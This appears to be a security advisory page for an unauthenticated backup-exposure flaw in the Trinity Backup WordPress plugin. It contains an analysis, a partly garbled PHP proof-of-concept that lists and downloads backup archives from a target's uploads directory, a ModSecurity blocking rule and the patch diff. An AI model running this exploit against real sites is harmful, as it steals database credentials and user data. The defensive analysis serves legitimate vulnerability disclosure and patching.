{
“analysis”: “Atomic Edge analysis of CVE-2026-54839:nThe Trinity Backup plugin versions 2.0.9 and below expose sensitive user and configuration data through unauthenticated access to backup archives stored in the publicly accessible WordPress uploads directory. The plugin stored backups under `wp-content/uploads/trinity-backup/`, which is web-accessible by default. An unauthenticated attacker could enumerate and download these files, extracting database credentials, user data, site configurations, and file archives.nnRoot Cause:nThe vulnerability originates from the BackupManager class (src/Core/BackupManager.php). The constructor at line 20-21 constructed the backup directory path using `wp_upload_dir()` and `trailingslashit($uploads[‘basedir’]) . ‘trinity-backup’`. The `listBackups()` method (lines 33-38) built download URLs by concatenating `trailingslashit($uploads[‘baseurl’])` with the backup file path (lines 69-71 and 98-99). The `baseurl` field corresponds to the publicly accessible URL of the uploads directory, meaning any backup file placed in that location was directly downloadable without authentication. The plugin wrote backup archives, state files, and temporary artifacts into this world-readable directory tree. No authentication check existed before version 2.0.10.nnExploitation:nAn attacker can list backup files by accessing the URL pattern: `https://target.com/wp-content/uploads/trinity-backup/`. If directory listing is enabled, they can browse all subdirectories. The archive filenames follow the pattern `{backupId}.trinity` or `{backupId}/{backupId}.trinity`. The direct download URL would be: `https://target.com/wp-content/uploads/trinity-backup/{backupId}.trinity` or `https://target.com/wp-content/uploads/trinity-backup/{backupId}/{backupId}.trinity`. The attacker can use a simple HTTP client to fetch these files. No authentication token or nonce is required. The attacker can also access legacy state files like `_current_job.txt` or `_operation_lock.json` at the same base URL.nnPatch Analysis:nThe patch introduces a new class `StorageSecurity` (src/Core/StorageSecurity.php) that moves backup storage out of the public uploads URL space. The class generates download URLs via `buildDownloadUrl()` (line 95-103) which returns an admin-ajax.php URL with a nonce parameter. Backup paths now use `StorageSecurity::ensureBaseDirectory()` and `StorageSecurity::ensureJobDirectory()` which enforce directory structure. A new AJAX handler `handleDownloadBackup()` (added in Router.php lines 713-763) verifies `manage_options` capability and validates a nonce before serving the file. The `isAllowedArchive()` method was hardened with realpath normalization. Legacy files are migrated to a protected `.state` subdirectory. The `resolveBackupPath()` method (BackupManager.php lines 166-194) restricts identifiers to prevent path traversal via sanitization and disallowing `..` and `/` sequences.nnImpact:nAn unauthenticated attacker can download complete backup archives containing the entire WordPress database (including user credentials, session tokens, password hashes, email addresses, and sensitive configuration data) and the full file system archive (including wp-config.php with database credentials, uploads with user content, and plugin/theme files). This is a critical data breach leading to complete site compromise. Attackers can use captured credentials for lateral movement, privilege escalation, and further attacks against the hosting infrastructure. The CVSS score of 5.3 reflects the network-based, low-complexity nature of the attack requiring no privileges or user interaction.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-54839 – Trinity Backup – Backup, Migrate, Restore, Clone & Schedule Backups $backup_dir,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_SSL_VERIFYHOST => false,n CURLOPT_TIMEOUT => 30,n]);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code === 200 && (strpos($response, ‘.trinity’) !== false || strpos($response, ‘Index of’) !== false)) {n echo “[+] Directory listing available. Found backup files.\n”;n echo “[+] Response snippet:\n”;n // Extract .trinity file linksn preg_match_all(‘/href=”([^”]+\.trinity)”/i’, $response, $matches);n $files = array_unique($matches[1]);n foreach ($files as $file) {n echo ” – Found backup: $backup_dir$file\n”;n // Try to download each filen $file_url = $backup_dir . $file;n $ch = curl_init();n curl_setopt_array($ch, [n CURLOPT_URL => $file_url,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_SSL_VERIFYHOST => false,n CURLOPT_TIMEOUT => 60,n ]);n $file_data = curl_exec($ch);n curl_close($ch);n // Check if it looks like a valid backup (starts with tar/zip or contains SQL)n if (strlen($file_data) > 100) {n $safe_name = preg_replace(‘/[^a-zA-Z0-9._-]/’, ‘_’, basename($file));n file_put_contents(__DIR__ . ‘/downloaded_’ . $safe_name, $file_data);n echo ” [+] Downloaded ‘$file’ to ‘downloaded_$safe_name’ (” . strlen($file_data) . ” bytes)\n”;n }n }n} else {n echo “[-] Directory listing not available or no backups found at base URL.\n”;n echo “[+] Trying common backup file patterns…\n”;n // Step 2: Try guessing common backup filenamesn // Pattern: {randomId}.trinity or {timestamp}.trinity or backup.trinityn $patterns = [n ‘/trinity-backup/backup.trinity’,n ‘/trinity-backup/current.trinity’,n ‘/trinity-backup/latest.trinity’,n ‘/trinity-backup/_current_job.txt’,n ‘/trinity-backup/_operation_lock.json’,n ];n foreach ($patterns as $pattern) {n $url = $target_url . ‘/wp-content/uploads’ . $pattern;n $ch = curl_init();n curl_setopt_array($ch, [n CURLOPT_URL => $url,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => false,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_SSL_VERIFYHOST => false,n CURLOPT_TIMEOUT => 30,n CURLOPT_NOBODY => true,n ]);n curl_exec($ch);n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n $size = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);n curl_close($ch);n if ($http_code === 200 && $size > 0) {n echo “[+] Found accessible file: $url (size: $size bytes)\n”;n }n }n}nnecho “[+] Exploitation complete.\n”;”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-54839n# Blocks unauthenticated access to backup files stored in public uploads directoryn# This virtual patch protects sites that cannot immediately patch the pluginnSecRule REQUEST_URI “@rx /wp-content/uploads/trinity-backup/” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-54839 – Trinity Backup unauthenticated backup access’,severity:’CRITICAL’,tag:’CVE-2026-54839′”n SecRule REQUEST_URI “@rx .trinity$” “t:none
n# Block access to legacy state filesnSecRule REQUEST_URI “@rx /wp-content/uploads/trinity-backup/(_current_job\.txt|_operation_lock\.json)” \n “id:20261995,phase:2,deny,status:403,msg:’CVE-2026-54839 – Trinity Backup state file exposure’,severity:’CRITICAL’,tag:’CVE-2026-54839′”n”
}

CVE-2026-54839: Trinity Backup – Backup, Migrate, Restore, Clone & Schedule Backups <= 2.0.9 Unauthenticated Information Exposure PoC, Patch Analysis & Rule
CVE-2026-54839
trinity-backup
2.0.9
2.0.10
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/trinity-backup/src/Core/BackupManager.php
+++ b/trinity-backup/src/Core/BackupManager.php
@@ -17,8 +17,7 @@
public function __construct()
{
- $uploads = wp_upload_dir();
- $this->backupDir = trailingslashit($uploads['basedir']) . 'trinity-backup';
+ $this->backupDir = StorageSecurity::ensureBaseDirectory();
}
/**
@@ -33,8 +32,6 @@
return $backups;
}
- $uploads = wp_upload_dir();
-
// Find backups in subdirectories (domain-date-time-random)
$dirs = glob($this->backupDir . '/*', GLOB_ONLYDIR);
if ($dirs !== false) {
@@ -69,7 +66,7 @@
'filename' => $backupId . '.trinity',
'size' => filesize($trinityPath) ?: 0,
'created' => filemtime($trinityPath) ?: 0,
- 'url' => trailingslashit($uploads['baseurl']) . 'trinity-backup/' . $backupId . '/' . basename($trinityPath),
+ 'url' => StorageSecurity::buildDownloadUrl($backupId),
'path' => $trinityPath,
'origin' => $origin,
];
@@ -101,7 +98,7 @@
'filename' => $filename,
'size' => filesize($trinityPath) ?: 0,
'created' => filemtime($trinityPath) ?: 0,
- 'url' => trailingslashit($uploads['baseurl']) . 'trinity-backup/' . $filename,
+ 'url' => StorageSecurity::buildDownloadUrl($id),
'path' => $trinityPath,
'origin' => $origin,
];
@@ -164,6 +161,38 @@
return false;
}
+ public function resolveBackupPath(string $identifier): ?string
+ {
+ $identifier = sanitize_file_name($identifier);
+
+ if ($identifier === '' || str_contains($identifier, '..') || str_contains($identifier, '/')) {
+ return null;
+ }
+
+ $candidates = [];
+ if (str_ends_with($identifier, '.trinity')) {
+ $candidates[] = $this->backupDir . '/' . $identifier;
+ }
+
+ $backupId = preg_replace('/.trinity$/', '', $identifier);
+ if (!is_string($backupId) || $backupId === '') {
+ return null;
+ }
+
+ $candidates[] = $this->backupDir . '/' . $backupId . '/' . $backupId . '.trinity';
+ $candidates[] = $this->backupDir . '/' . $backupId . '/backup.trinity';
+ $candidates[] = $this->backupDir . '/' . (str_starts_with($backupId, 'job_') ? $backupId : ('job_' . $backupId)) . '/backup.trinity';
+ $candidates[] = $this->backupDir . '/' . $backupId . '.trinity';
+
+ foreach ($candidates as $candidate) {
+ if (is_file($candidate) && StorageSecurity::isPathInsideBase($candidate)) {
+ return $candidate;
+ }
+ }
+
+ return null;
+ }
+
/**
* Cleanup old job folders (incomplete jobs older than X hours).
*/
--- a/trinity-backup/src/Core/CompatibilityChecker.php
+++ b/trinity-backup/src/Core/CompatibilityChecker.php
@@ -185,17 +185,14 @@
*/
private function checkWritePermissions(): void
{
- $uploads = wp_upload_dir();
- $testDir = trailingslashit($uploads['basedir']) . 'trinity-backup';
-
- if (!is_dir($testDir)) {
- if (!wp_mkdir_p($testDir)) {
- $this->checks['write_permissions'] = [
- 'status' => 'error',
- 'message' => 'Cannot create backup directory',
- ];
- return;
- }
+ try {
+ $testDir = StorageSecurity::ensureBaseDirectory();
+ } catch (Throwable) {
+ $this->checks['write_permissions'] = [
+ 'status' => 'error',
+ 'message' => 'Cannot create backup directory',
+ ];
+ return;
}
$testFile = $testDir . '/.write-test-' . time();
--- a/trinity-backup/src/Core/OperationLock.php
+++ b/trinity-backup/src/Core/OperationLock.php
@@ -2,8 +2,8 @@
/**
* Operation lock to prevent concurrent destructive operations.
*
- * Stored in uploads/trinity-backup as a small JSON file so it survives
- * database replacement during restore (import).
+ * Stored in the protected Trinity Backup state directory so it survives
+ * database replacement during restore (import) without being web-readable.
*/
declare(strict_types=1);
@@ -233,13 +233,7 @@
private function getLockPath(): string
{
- $uploads = wp_upload_dir();
- $dir = trailingslashit($uploads['basedir']) . 'trinity-backup';
- if (!is_dir($dir)) {
- wp_mkdir_p($dir);
- }
-
- return $dir . '/' . self::LOCK_FILE;
+ return StorageSecurity::getStateDir() . '/' . self::LOCK_FILE;
}
private function readFromHandle($handle): mixed
--- a/trinity-backup/src/Core/Plugin.php
+++ b/trinity-backup/src/Core/Plugin.php
@@ -22,7 +22,7 @@
final class Plugin
{
- public const VERSION = '2.0.9';
+ public const VERSION = '2.0.10';
public static function init(): void
{
@@ -66,6 +66,12 @@
$router = new Router($container->get('pipeline'), $container->get('import_pipeline'));
$router->register();
+ try {
+ StorageSecurity::install();
+ } catch (Throwable) {
+ // Backup and restore requests surface storage errors when they need the directory.
+ }
+
// Pro features — only register if licensed
$canUsePro = function_exists('trinity_backup_can_use_pro') && trinity_backup_can_use_pro();
$hasFeature = static fn(string $f): bool => function_exists('trinity_backup_has_feature') && trinity_backup_has_feature($f);
@@ -92,6 +98,7 @@
add_action('admin_menu', [$this, 'registerAdminMenu']);
add_action('admin_enqueue_scripts', [$this, 'enqueueAssets']);
+ add_filter('admin_body_class', [$this, 'filterAdminBodyClass']);
}
public function registerAdminMenu(): void
@@ -178,18 +185,46 @@
echo '</div>';
}
- public function renderAdminPage(): void
+ public function filterAdminBodyClass(string $classes): string
+ {
+ $page = isset($_GET['page']) ? sanitize_key(wp_unslash((string) $_GET['page'])) : '';
+ if ($page !== 'trinity-backup') {
+ return $classes;
+ }
+
+ $themeClass = 'trinity-theme-' . $this->getSavedTheme();
+ $classes = trim($classes);
+
+ if ($classes === '') {
+ return $themeClass;
+ }
+
+ if (str_contains(' ' . $classes . ' ', ' ' . $themeClass . ' ')) {
+ return $classes;
+ }
+
+ return $classes . ' ' . $themeClass;
+ }
+
+ private function getSavedTheme(): string
{
- $currentUrl = home_url('/');
- $pluginFile = dirname(__DIR__, 2) . '/trinity-backup.php';
- $imgUrl = plugin_dir_url($pluginFile) . 'assets/img/';
-
- // Read theme from user meta
$userId = get_current_user_id();
$savedTheme = get_user_meta($userId, 'trinity_backup_theme', true);
+
if (!in_array($savedTheme, ['light', 'dark', 'auto'], true)) {
- $savedTheme = 'auto';
+ return 'auto';
}
+
+ return $savedTheme;
+ }
+
+ public function renderAdminPage(): void
+ {
+ $currentUrl = home_url('/');
+ $pluginFile = dirname(__DIR__, 2) . '/trinity-backup.php';
+ $imgUrl = plugin_dir_url($pluginFile) . 'assets/img/';
+
+ $savedTheme = $this->getSavedTheme();
echo '<div class="wrap">';
echo '<h1 style="display:none;"></h1>'; // Catches all WP admin notices above our UI
--- a/trinity-backup/src/Core/Router.php
+++ b/trinity-backup/src/Core/Router.php
@@ -41,6 +41,7 @@
// Backups management
add_action('wp_ajax_trinity_backup_list_backups', [$this, 'handleListBackups']);
+ add_action('wp_ajax_trinity_backup_download', [$this, 'handleDownloadBackup']);
add_action('wp_ajax_trinity_backup_delete', [$this, 'handleDeleteBackup']);
add_action('wp_ajax_trinity_backup_delete_all', [$this, 'handleDeleteAllBackups']);
add_action('wp_ajax_trinity_backup_cleanup', [$this, 'handleCleanup']);
@@ -204,6 +205,7 @@
if ($token !== '') {
$lock->release($token);
}
+ $stateManager->forget($jobId);
}
wp_send_json($response);
} catch (Throwable $throwable) {
@@ -232,6 +234,7 @@
if ($token !== '') {
$lock->release($token);
}
+ $stateManager->forget($jobId);
wp_send_json_error(['message' => $throwable->getMessage()]);
}
}
@@ -267,10 +270,30 @@
wp_send_json_error(['message' => $uploaded['error'] ?? 'Upload failed.']);
}
+ $uploadedPath = isset($uploaded['file']) ? (string) $uploaded['file'] : '';
+ if ($uploadedPath === '' || !is_file($uploadedPath)) {
+ wp_send_json_error(['message' => 'Upload failed.']);
+ }
+
+ $stateManager = new StateManager();
+ $backupId = $stateManager->generateBackupName();
+ $jobDir = StorageSecurity::ensureJobDirectory($backupId);
+ $finalPath = $jobDir . '/' . $backupId . '.trinity';
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_rename -- Moving plugin-owned uploaded archive into protected storage.
+ if (!@rename($uploadedPath, $finalPath)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_copy -- Moving plugin-owned uploaded archive into protected storage.
+ if (!@copy($uploadedPath, $finalPath)) {
+ wp_delete_file($uploadedPath);
+ wp_send_json_error(['message' => 'Failed to move uploaded archive into protected storage.']);
+ }
+ wp_delete_file($uploadedPath);
+ }
+
wp_send_json([
'status' => 'ok',
- 'path' => $uploaded['file'],
- 'url' => $uploaded['url'],
+ 'path' => $finalPath,
+ 'url' => StorageSecurity::buildDownloadUrl($backupId),
]);
}
@@ -306,12 +329,7 @@
}
// Create upload directory
- $uploads = wp_upload_dir();
- $uploadDir = trailingslashit($uploads['basedir']) . 'trinity-backup/uploads/' . $uploadId;
-
- if (!is_dir($uploadDir)) {
- wp_mkdir_p($uploadDir);
- }
+ $uploadDir = StorageSecurity::ensureUploadDirectory($uploadId);
// Save chunk
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.InputNotValidated,WordPress.Security.NonceVerification.Missing -- tmp_name is validated by PHP upload mechanism, nonce verified in assertNonce()
@@ -355,11 +373,7 @@
// All chunks uploaded - combine them into a folder
$stateManager = new StateManager();
$backupId = $stateManager->generateBackupName();
- $jobDir = trailingslashit($uploads['basedir']) . 'trinity-backup/' . $backupId;
-
- if (!is_dir($jobDir)) {
- wp_mkdir_p($jobDir);
- }
+ $jobDir = StorageSecurity::ensureJobDirectory($backupId);
$finalPath = $jobDir . '/' . $backupId . '.trinity';
@@ -389,7 +403,7 @@
wp_send_json([
'status' => 'ok',
'path' => $finalPath,
- 'url' => trailingslashit($uploads['baseurl']) . 'trinity-backup/' . $backupId . '/' . $backupId . '.trinity',
+ 'url' => StorageSecurity::buildDownloadUrl($backupId),
]);
}
@@ -624,6 +638,7 @@
if ($token !== '') {
$lock->release($token);
}
+ $stateManager->forget($jobId);
}
wp_send_json($response);
} catch (Throwable $throwable) {
@@ -652,6 +667,7 @@
if ($token !== '') {
$lock->release($token);
}
+ $stateManager->forget($jobId);
wp_send_json_error(['message' => $throwable->getMessage()]);
}
}
@@ -697,6 +713,63 @@
}
}
+ public function handleDownloadBackup(): void
+ {
+ if (!current_user_can('manage_options')) {
+ wp_die('Insufficient permissions.', '', ['response' => 403]);
+ }
+
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Download nonce is verified below.
+ $backupId = isset($_GET['backup']) ? sanitize_file_name(wp_unslash((string) $_GET['backup'])) : '';
+ if ($backupId === '') {
+ wp_die('Missing backup id.', '', ['response' => 400]);
+ }
+
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is sanitized and verified here.
+ $nonce = isset($_GET['nonce']) ? sanitize_text_field(wp_unslash((string) $_GET['nonce'])) : '';
+ if (!wp_verify_nonce($nonce, 'trinity_backup_download_' . $backupId)) {
+ wp_die('Invalid download link.', '', ['response' => 403]);
+ }
+
+ $manager = new BackupManager();
+ $path = $manager->resolveBackupPath($backupId);
+ if ($path === null || !is_file($path)) {
+ wp_die('Backup not found.', '', ['response' => 404]);
+ }
+
+ $filename = str_replace('"', '', basename($path));
+ $size = filesize($path);
+ if ($size === false) {
+ wp_die('Unable to read backup file.', '', ['response' => 500]);
+ }
+
+ while (ob_get_level() > 0) {
+ ob_end_clean();
+ }
+
+ nocache_headers();
+ header('X-Content-Type-Options: nosniff');
+ header('Content-Type: application/octet-stream');
+ header('Content-Disposition: attachment; filename="' . $filename . '"; filename*=UTF-8''' . rawurlencode($filename));
+ header('Content-Length: ' . (string) $size);
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen -- Streaming large backup download.
+ $handle = fopen($path, 'rb');
+ if ($handle === false) {
+ exit;
+ }
+
+ while (!feof($handle)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fread -- Streaming large backup download.
+ echo fread($handle, 1048576);
+ flush();
+ }
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- Closing streamed download handle.
+ fclose($handle);
+ exit;
+ }
+
public function handleDeleteBackup(): void
{
$this->assertNonce();
@@ -1017,14 +1090,16 @@
private function isAllowedArchive(string $archivePath): bool
{
- $uploads = wp_upload_dir();
- $base = realpath($uploads['basedir']);
+ $base = realpath(StorageSecurity::ensureBaseDirectory());
$path = realpath($archivePath);
if ($base === false || $path === false) {
return false;
}
+ $base = rtrim(str_replace('\', '/', $base), '/') . '/';
+ $path = str_replace('\', '/', $path);
+
return str_starts_with($path, $base);
}
--- a/trinity-backup/src/Core/StateManager.php
+++ b/trinity-backup/src/Core/StateManager.php
@@ -17,7 +17,7 @@
{
$jobId = $this->generateBackupName();
$this->directSave(self::OPTION_CURRENT, $jobId);
- $this->saveCurrentJobIdToFile($jobId);
+ StorageSecurity::deleteLegacyPublicFiles();
return $jobId;
}
@@ -95,9 +95,8 @@
if (is_string($jobId) && $jobId !== '') {
return $jobId;
}
-
- // Fallback to file
- return $this->loadCurrentJobIdFromFile();
+
+ return null;
}
public function loadCurrent(): ?array
@@ -113,6 +112,7 @@
public function forget(string $jobId): void
{
$this->directDelete(self::OPTION_PREFIX . $jobId);
+ $this->directDelete(self::OPTION_CURRENT);
$this->forgetFile($jobId);
}
@@ -205,25 +205,7 @@
*/
private function getStateFilePath(string $jobId): string
{
- $uploads = wp_upload_dir();
- $dir = trailingslashit($uploads['basedir']) . 'trinity-backup';
- if (!is_dir($dir)) {
- wp_mkdir_p($dir);
- }
- return $dir . '/' . $jobId . '_state.json';
- }
-
- /**
- * Get file path for current job ID storage.
- */
- private function getCurrentJobFilePath(): string
- {
- $uploads = wp_upload_dir();
- $dir = trailingslashit($uploads['basedir']) . 'trinity-backup';
- if (!is_dir($dir)) {
- wp_mkdir_p($dir);
- }
- return $dir . '/_current_job.txt';
+ return StorageSecurity::getStateDir() . '/' . sanitize_file_name($jobId) . '.json';
}
/**
@@ -232,7 +214,8 @@
private function saveToFile(string $jobId, array $state): void
{
$path = $this->getStateFilePath($jobId);
- file_put_contents($path, json_encode($state, JSON_PRETTY_PRINT));
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents -- Import state must survive database replacement between AJAX requests.
+ file_put_contents($path, wp_json_encode($state, JSON_PRETTY_PRINT), LOCK_EX);
}
/**
@@ -241,43 +224,40 @@
private function loadFromFile(string $jobId): ?array
{
$path = $this->getStateFilePath($jobId);
+
+ $state = $this->readStateFile($path);
+ if (is_array($state)) {
+ return $state;
+ }
+
+ $legacyPath = StorageSecurity::getLegacyStateFilePath($jobId);
+ $state = $this->readStateFile($legacyPath);
+ if (is_array($state)) {
+ $this->saveToFile($jobId, $state);
+ wp_delete_file($legacyPath);
+ return $state;
+ }
+
+ return null;
+ }
+
+ private function readStateFile(string $path): ?array
+ {
if (!is_file($path)) {
return null;
}
-
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- Reading plugin-owned import state.
$content = file_get_contents($path);
if ($content === false) {
return null;
}
-
+
$state = json_decode($content, true);
return is_array($state) ? $state : null;
}
/**
- * Save current job ID to file.
- */
- private function saveCurrentJobIdToFile(string $jobId): void
- {
- $path = $this->getCurrentJobFilePath();
- file_put_contents($path, $jobId);
- }
-
- /**
- * Load current job ID from file.
- */
- private function loadCurrentJobIdFromFile(): ?string
- {
- $path = $this->getCurrentJobFilePath();
- if (!is_file($path)) {
- return null;
- }
-
- $jobId = trim((string) file_get_contents($path));
- return $jobId !== '' ? $jobId : null;
- }
-
- /**
* Delete state file.
*/
public function forgetFile(string $jobId): void
@@ -286,5 +266,10 @@
if (is_file($path)) {
wp_delete_file($path);
}
+
+ $legacyPath = StorageSecurity::getLegacyStateFilePath($jobId);
+ if (is_file($legacyPath)) {
+ wp_delete_file($legacyPath);
+ }
}
}
--- a/trinity-backup/src/Core/StorageSecurity.php
+++ b/trinity-backup/src/Core/StorageSecurity.php
@@ -0,0 +1,270 @@
+<?php
+
+declare(strict_types=1);
+
+namespace TrinityBackupCore;
+
+if (!defined('ABSPATH')) {
+ exit;
+}
+
+use RuntimeException;
+
+final class StorageSecurity
+{
+ private const DIR_NAME = 'trinity-backup';
+ private const STATE_DIR = '.state';
+
+ private const HTACCESS = "Options -Indexesn"
+ . "<IfModule mod_authz_core.c>n"
+ . "Require all deniedn"
+ . "</IfModule>n"
+ . "<IfModule !mod_authz_core.c>n"
+ . "Deny from alln"
+ . "</IfModule>n";
+
+ private const WEB_CONFIG = "<?xml version="1.0" encoding="UTF-8"?>n"
+ . "<configuration>n"
+ . " <system.webServer>n"
+ . " <security>n"
+ . " <authorization>n"
+ . " <remove users="*" roles="" verbs="" />n"
+ . " <add accessType="Deny" users="*" />n"
+ . " </authorization>n"
+ . " </security>n"
+ . " </system.webServer>n"
+ . "</configuration>n";
+
+ public static function install(): void
+ {
+ self::ensureBaseDirectory();
+ self::migrateLegacyStateFiles();
+ self::deleteLegacyPublicFiles();
+ self::cleanupLegacyTemporaryArtifacts();
+ }
+
+ public static function getBaseDir(): string
+ {
+ $uploads = wp_upload_dir();
+ return trailingslashit($uploads['basedir']) . self::DIR_NAME;
+ }
+
+ public static function ensureBaseDirectory(): string
+ {
+ $dir = self::getBaseDir();
+ self::ensureDirectory($dir);
+ self::writeProtectionFiles($dir);
+ self::deleteLegacyPublicFiles();
+
+ return $dir;
+ }
+
+ public static function ensureJobDirectory(string $jobId): string
+ {
+ $baseDir = self::ensureBaseDirectory();
+ $dir = $baseDir . '/' . sanitize_file_name($jobId);
+ self::ensureDirectory($dir);
+ self::writeIndexFile($dir);
+
+ return $dir;
+ }
+
+ public static function ensureUploadDirectory(string $uploadId): string
+ {
+ $baseDir = self::ensureBaseDirectory();
+ $uploadsDir = $baseDir . '/uploads';
+ self::ensureDirectory($uploadsDir);
+ self::writeIndexFile($uploadsDir);
+
+ $dir = $uploadsDir . '/' . sanitize_file_name($uploadId);
+ self::ensureDirectory($dir);
+ self::writeIndexFile($dir);
+
+ return $dir;
+ }
+
+ public static function getStateDir(): string
+ {
+ $dir = self::ensureBaseDirectory() . '/' . self::STATE_DIR;
+ self::ensureDirectory($dir);
+ self::writeProtectionFiles($dir);
+
+ return $dir;
+ }
+
+ public static function buildDownloadUrl(string $backupId): string
+ {
+ $backupId = sanitize_file_name($backupId);
+
+ return add_query_arg(
+ [
+ 'action' => 'trinity_backup_download',
+ 'backup' => $backupId,
+ 'nonce' => wp_create_nonce('trinity_backup_download_' . $backupId),
+ ],
+ admin_url('admin-ajax.php')
+ );
+ }
+
+ public static function deleteFileInsideBase(string $path): void
+ {
+ $realPath = realpath($path);
+ if ($realPath === false || !is_file($realPath)) {
+ return;
+ }
+
+ if (!self::isPathInsideBase($realPath)) {
+ return;
+ }
+
+ wp_delete_file($realPath);
+ }
+
+ public static function isPathInsideBase(string $path): bool
+ {
+ $base = realpath(self::ensureBaseDirectory());
+ $realPath = realpath($path);
+
+ if ($base === false || $realPath === false) {
+ return false;
+ }
+
+ $base = rtrim(str_replace('\', '/', $base), '/') . '/';
+ $realPath = str_replace('\', '/', $realPath);
+
+ return str_starts_with($realPath, $base);
+ }
+
+ public static function getLegacyStateFilePath(string $jobId): string
+ {
+ return self::getBaseDir() . '/' . sanitize_file_name($jobId) . '_state.json';
+ }
+
+ public static function deleteLegacyPublicFiles(): void
+ {
+ $baseDir = self::getBaseDir();
+
+ foreach (['_current_job.txt', '_operation_lock.json'] as $filename) {
+ $path = $baseDir . '/' . $filename;
+ if (is_file($path)) {
+ wp_delete_file($path);
+ }
+ }
+ }
+
+ public static function migrateLegacyStateFiles(): void
+ {
+ $baseDir = self::getBaseDir();
+ if (!is_dir($baseDir)) {
+ return;
+ }
+
+ $stateDir = $baseDir . '/' . self::STATE_DIR;
+ self::ensureDirectory($stateDir);
+ self::writeProtectionFiles($stateDir);
+
+ $files = glob($baseDir . '/*_state.json');
+ if ($files === false) {
+ return;
+ }
+
+ foreach ($files as $file) {
+ if (!is_file($file)) {
+ continue;
+ }
+
+ $jobId = preg_replace('/_state.json$/', '', basename($file));
+ if (!is_string($jobId) || $jobId === '') {
+ continue;
+ }
+
+ $target = $stateDir . '/' . sanitize_file_name($jobId) . '.json';
+ if (!is_file($target)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_rename -- Moving plugin-owned legacy state file.
+ if (!@rename($file, $target)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_copy -- Migrating plugin-owned legacy state file.
+ @copy($file, $target);
+ wp_delete_file($file);
+ }
+ } else {
+ wp_delete_file($file);
+ }
+ }
+ }
+
+ public static function cleanupLegacyTemporaryArtifacts(): void
+ {
+ $baseDir = self::getBaseDir();
+ if (!is_dir($baseDir)) {
+ return;
+ }
+
+ $currentJob = get_option('trinity_backup_current_job');
+ $currentJob = is_string($currentJob) ? $currentJob : '';
+
+ foreach (['database.sql', 'manifest.jsonl'] as $filename) {
+ $rootPath = $baseDir . '/' . $filename;
+ if (is_file($rootPath)) {
+ wp_delete_file($rootPath);
+ }
+ }
+
+ $dirs = glob($baseDir . '/*', GLOB_ONLYDIR);
+ if ($dirs === false) {
+ return;
+ }
+
+ foreach ($dirs as $dir) {
+ $jobId = basename($dir);
+ if ($jobId === self::STATE_DIR || $jobId === 'uploads' || $jobId === $currentJob) {
+ continue;
+ }
+
+ foreach (['database.sql', 'manifest.jsonl'] as $filename) {
+ $path = $dir . '/' . $filename;
+ if (is_file($path)) {
+ wp_delete_file($path);
+ }
+ }
+ }
+ }
+
+ private static function ensureDirectory(string $dir): void
+ {
+ if (is_dir($dir)) {
+ return;
+ }
+
+ if (!wp_mkdir_p($dir) && !is_dir($dir)) {
+ throw new RuntimeException('Failed to create backup directory: ' . $dir);
+ }
+ }
+
+ private static function writeProtectionFiles(string $dir): void
+ {
+ self::writeFileIfChanged($dir . '/.htaccess', self::HTACCESS);
+ self::writeFileIfChanged($dir . '/web.config', self::WEB_CONFIG);
+ self::writeIndexFile($dir);
+ }
+
+ private static function writeIndexFile(string $dir): void
+ {
+ self::writeFileIfChanged($dir . '/index.php', "<?phpnhttp_response_code(403);nexit;n");
+ }
+
+ private static function writeFileIfChanged(string $path, string $content): void
+ {
+ if (is_file($path)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- Reading plugin-owned protection file.
+ $existing = file_get_contents($path);
+ if ($existing === $content) {
+ return;
+ }
+ }
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents -- Writing plugin-owned protection file.
+ if (@file_put_contents($path, $content, LOCK_EX) === false) {
+ throw new RuntimeException('Failed to write backup directory protection file: ' . $path);
+ }
+ }
+}
No newline at end of file
--- a/trinity-backup/src/Engine/ImportPipeline.php
+++ b/trinity-backup/src/Engine/ImportPipeline.php
@@ -11,6 +11,7 @@
use RuntimeException;
use TrinityBackupArchiverTrinityExtractor;
use TrinityBackupCoreStateManager;
+use TrinityBackupCoreStorageSecurity;
use TrinityBackupEngineStepsImportDatabase;
use TrinityBackupEngineStepsImportFiles;
use TrinityBackupFilesystemFilesystemInterface;
@@ -56,8 +57,7 @@
// If archive is in a job folder, use it; otherwise create temp folder
if (!str_contains($archiveDir, 'trinity-backup/job_')) {
- $uploads = wp_upload_dir();
- $baseDir = trailingslashit($uploads['basedir']) . 'trinity-backup/' . $jobId;
+ $baseDir = StorageSecurity::ensureJobDirectory($jobId);
$this->filesystem->ensureDir($baseDir);
}
@@ -171,6 +171,8 @@
private function buildDoneResponse(array $state): array
{
+ $this->cleanupTemporaryArtifacts($state);
+
